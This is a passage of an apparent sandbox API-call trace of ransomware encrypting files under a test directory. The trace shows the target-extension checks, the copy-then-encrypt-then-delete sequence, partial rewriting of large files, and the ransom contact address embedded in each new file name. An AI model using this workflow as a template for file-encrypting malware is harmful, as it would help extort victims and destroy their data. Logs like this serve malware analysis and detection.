	[0068.777] ReadFile (in: hFile=0x368, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x37e, lpOverlapped=0x0) returned 1
	[0068.854] WriteFile (in: hFile=0x334, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x380, lpOverlapped=0x0) returned 1
	[0068.855] ReadFile (in: hFile=0x368, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.855] WriteFile (in: hFile=0x334, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xea, lpOverlapped=0x0) returned 1
	[0068.855] SetEndOfFile (hFile=0x334) returned 1
	[0068.907] CloseHandle (hObject=0x334) returned 1
	[0068.907] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.907] SetEndOfFile (hFile=0x368) returned 1
	[0068.908] CloseHandle (hObject=0x368) returned 1
	[0068.933] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.942] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1
	[0068.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0068.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0068.943] lstrlenW (lpString=".doc") returned 4
	[0068.943] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0068.943] lstrlenW (lpString=".docx") returned 5
	[0068.943] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1
	[0068.943] lstrlenW (lpString=".pdf") returned 4
	[0068.943] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0068.943] lstrlenW (lpString=".xls") returned 4
	[0068.943] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0068.943] lstrlenW (lpString=".xlsx") returned 5
	[0068.943] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1
	[0068.943] lstrlenW (lpString=".ppt") returned 4
	[0068.943] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0068.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0068.943] lstrlenW (lpString=".zip") returned 4
	[0068.943] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0068.943] lstrlenW (lpString=".rar") returned 4
	[0068.943] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0068.943] lstrlenW (lpString=".bz2") returned 4
	[0068.943] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0068.943] lstrlenW (lpString=".7z") returned 3
	[0068.943] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0068.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0068.943] lstrlenW (lpString=".dbf") returned 4
	[0068.943] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0068.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0068.951] lstrlenW (lpString=".1cd") returned 4
	[0068.951] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0068.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0068.951] lstrlenW (lpString=".jpg") returned 4
	[0068.951] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0068.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0068.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0068.951] lstrlenW (lpString=".doc") returned 4
	[0068.951] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0068.951] lstrlenW (lpString=".docx") returned 5
	[0068.951] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1
	[0068.951] lstrlenW (lpString=".pdf") returned 4
	[0068.951] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0068.951] lstrlenW (lpString=".xls") returned 4
	[0068.951] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0068.951] lstrlenW (lpString=".xlsx") returned 5
	[0068.951] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1
	[0068.952] lstrlenW (lpString=".ppt") returned 4
	[0068.952] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0068.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0068.952] lstrlenW (lpString=".zip") returned 4
	[0068.952] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0068.952] lstrlenW (lpString=".rar") returned 4
	[0068.952] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0068.952] lstrlenW (lpString=".bz2") returned 4
	[0068.952] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0068.952] lstrlenW (lpString=".7z") returned 3
	[0068.952] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0068.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0068.952] lstrlenW (lpString=".dbf") returned 4
	[0068.952] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0068.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0068.952] lstrlenW (lpString=".1cd") returned 4
	[0068.952] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0068.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0068.952] lstrlenW (lpString=".jpg") returned 4
	[0068.952] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0068.952] lstrcmpiW (lpString1=".ico", lpString2=".GTF") returned 1
	[0068.952] lstrlenW (lpString="Setup.ico") returned 9
	[0068.952] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0068.952] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=36710) returned 1
	[0068.952] CloseHandle (hObject=0x2d0) returned 1
	[0068.953] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80
	[0068.953] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.953] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0068.953] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.953] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.953] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0068.953] GetLastError () returned 0x0
	[0068.953] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x8f66, lpOverlapped=0x0) returned 1
	[0068.956] WriteFile (in: hFile=0x334, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x8f70, lpOverlapped=0x0) returned 1
	[0068.957] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.957] WriteFile (in: hFile=0x334, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0068.957] SetEndOfFile (hFile=0x334) returned 1
	[0068.958] CloseHandle (hObject=0x334) returned 1
	[0068.959] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.959] SetEndOfFile (hFile=0x2d0) returned 1
	[0068.960] CloseHandle (hObject=0x2d0) returned 1
	[0068.960] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.960] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1
	[0068.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0068.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0068.961] lstrlenW (lpString=".doc") returned 4
	[0068.961] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0068.961] lstrlenW (lpString=".docx") returned 5
	[0068.961] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1
	[0068.961] lstrlenW (lpString=".pdf") returned 4
	[0068.961] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0068.961] lstrlenW (lpString=".xls") returned 4
	[0068.961] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0068.961] lstrlenW (lpString=".xlsx") returned 5
	[0068.961] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1
	[0068.961] lstrlenW (lpString=".ppt") returned 4
	[0068.961] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0068.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0068.961] lstrlenW (lpString=".zip") returned 4
	[0068.961] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0068.961] lstrlenW (lpString=".rar") returned 4
	[0068.961] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0068.961] lstrlenW (lpString=".bz2") returned 4
	[0068.961] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0068.961] lstrlenW (lpString=".7z") returned 3
	[0068.961] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0068.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0068.961] lstrlenW (lpString=".dbf") returned 4
	[0068.961] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0068.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0068.961] lstrlenW (lpString=".1cd") returned 4
	[0068.961] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0068.961] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0068.961] lstrlenW (lpString=".jpg") returned 4
	[0068.962] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0068.962] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0068.962] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0068.962] lstrlenW (lpString=".doc") returned 4
	[0068.962] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0068.962] lstrlenW (lpString=".docx") returned 5
	[0068.962] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1
	[0068.962] lstrlenW (lpString=".pdf") returned 4
	[0068.962] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0068.962] lstrlenW (lpString=".xls") returned 4
	[0068.962] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0068.962] lstrlenW (lpString=".xlsx") returned 5
	[0068.962] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1
	[0068.962] lstrlenW (lpString=".ppt") returned 4
	[0068.962] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0068.962] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0068.962] lstrlenW (lpString=".zip") returned 4
	[0068.962] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0068.962] lstrlenW (lpString=".rar") returned 4
	[0068.962] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0068.962] lstrlenW (lpString=".bz2") returned 4
	[0068.962] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0068.962] lstrlenW (lpString=".7z") returned 3
	[0068.962] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0068.962] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0068.962] lstrlenW (lpString=".dbf") returned 4
	[0068.962] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0068.962] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0068.962] lstrlenW (lpString=".1cd") returned 4
	[0068.962] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0068.962] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40
	[0068.962] lstrlenW (lpString=".jpg") returned 4
	[0068.962] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0068.963] lstrcmpiW (lpString1=".ico", lpString2=".GTF") returned 1
	[0068.963] lstrlenW (lpString="stop.ico") returned 8
	[0068.963] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0068.963] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=10134) returned 1
	[0068.963] CloseHandle (hObject=0x2d0) returned 1
	[0068.963] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80
	[0068.963] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.963] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0068.963] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.963] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.963] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0068.964] GetLastError () returned 0x0
	[0068.964] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x2796, lpOverlapped=0x0) returned 1
	[0069.511] WriteFile (in: hFile=0x334, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x27a0, lpOverlapped=0x0) returned 1
	[0069.512] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.512] WriteFile (in: hFile=0x334, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0069.512] SetEndOfFile (hFile=0x334) returned 1
	[0069.863] CloseHandle (hObject=0x334) returned 1
	[0069.864] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.864] SetEndOfFile (hFile=0x2d0) returned 1
	[0069.865] CloseHandle (hObject=0x2d0) returned 1
	[0069.865] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0069.865] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1
	[0069.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0069.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0069.865] lstrlenW (lpString=".doc") returned 4
	[0069.866] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0069.866] lstrlenW (lpString=".docx") returned 5
	[0069.866] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1
	[0069.866] lstrlenW (lpString=".pdf") returned 4
	[0069.866] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0069.866] lstrlenW (lpString=".xls") returned 4
	[0069.866] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0069.866] lstrlenW (lpString=".xlsx") returned 5
	[0069.866] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1
	[0069.866] lstrlenW (lpString=".ppt") returned 4
	[0069.866] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0069.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0069.866] lstrlenW (lpString=".zip") returned 4
	[0069.866] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0069.866] lstrlenW (lpString=".rar") returned 4
	[0069.866] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0069.866] lstrlenW (lpString=".bz2") returned 4
	[0069.866] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0069.866] lstrlenW (lpString=".7z") returned 3
	[0069.866] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0069.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0069.866] lstrlenW (lpString=".dbf") returned 4
	[0069.866] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0069.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0069.866] lstrlenW (lpString=".1cd") returned 4
	[0069.866] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0069.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0069.866] lstrlenW (lpString=".jpg") returned 4
	[0069.866] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0069.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0069.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0069.866] lstrlenW (lpString=".doc") returned 4
	[0069.866] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0069.866] lstrlenW (lpString=".docx") returned 5
	[0069.866] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1
	[0069.866] lstrlenW (lpString=".pdf") returned 4
	[0069.867] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0069.867] lstrlenW (lpString=".xls") returned 4
	[0069.867] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0069.867] lstrlenW (lpString=".xlsx") returned 5
	[0069.867] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1
	[0069.867] lstrlenW (lpString=".ppt") returned 4
	[0069.867] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0069.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0069.867] lstrlenW (lpString=".zip") returned 4
	[0069.867] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0069.867] lstrlenW (lpString=".rar") returned 4
	[0069.867] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0069.867] lstrlenW (lpString=".bz2") returned 4
	[0069.867] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0069.867] lstrlenW (lpString=".7z") returned 3
	[0069.867] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0069.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0069.867] lstrlenW (lpString=".dbf") returned 4
	[0069.867] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0069.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0069.867] lstrlenW (lpString=".1cd") returned 4
	[0069.867] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0069.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0069.867] lstrlenW (lpString=".jpg") returned 4
	[0069.867] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0069.867] lstrcmpiW (lpString1=".mzz", lpString2=".GTF") returned 1
	[0069.867] lstrlenW (lpString="netfx_Core.mzz") returned 14
	[0069.867] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0069.868] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=181483595) returned 1
	[0069.868] CloseHandle (hObject=0x2d0) returned 1
	[0069.868] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80
	[0069.868] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0069.869] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0069.869] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0069.869] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc64 | out: lpNewFilePointer=0x0) returned 1
	[0069.869] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1
	[0069.869] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a24058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a24058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0069.889] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1
	[0069.889] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a64058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a64058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0069.898] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x351fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0069.899] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x351fc24 | out: lpNewFilePointer=0x0) returned 1
	[0069.899] ReadFile (in: hFile=0x2d0, lpBuffer=0x3aa4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc30, lpOverlapped=0x0 | out: lpBuffer=0x3aa4058*, lpNumberOfBytesRead=0x351fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0070.057] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.057] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x351fca8, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fca8*=0xc0108, lpOverlapped=0x0) returned 1
	[0070.135] SetEndOfFile (hFile=0x2d0) returned 1
	[0070.135] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x40000) returned 0x3ed3388
	[0070.140] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc74 | out: lpNewFilePointer=0x0) returned 1
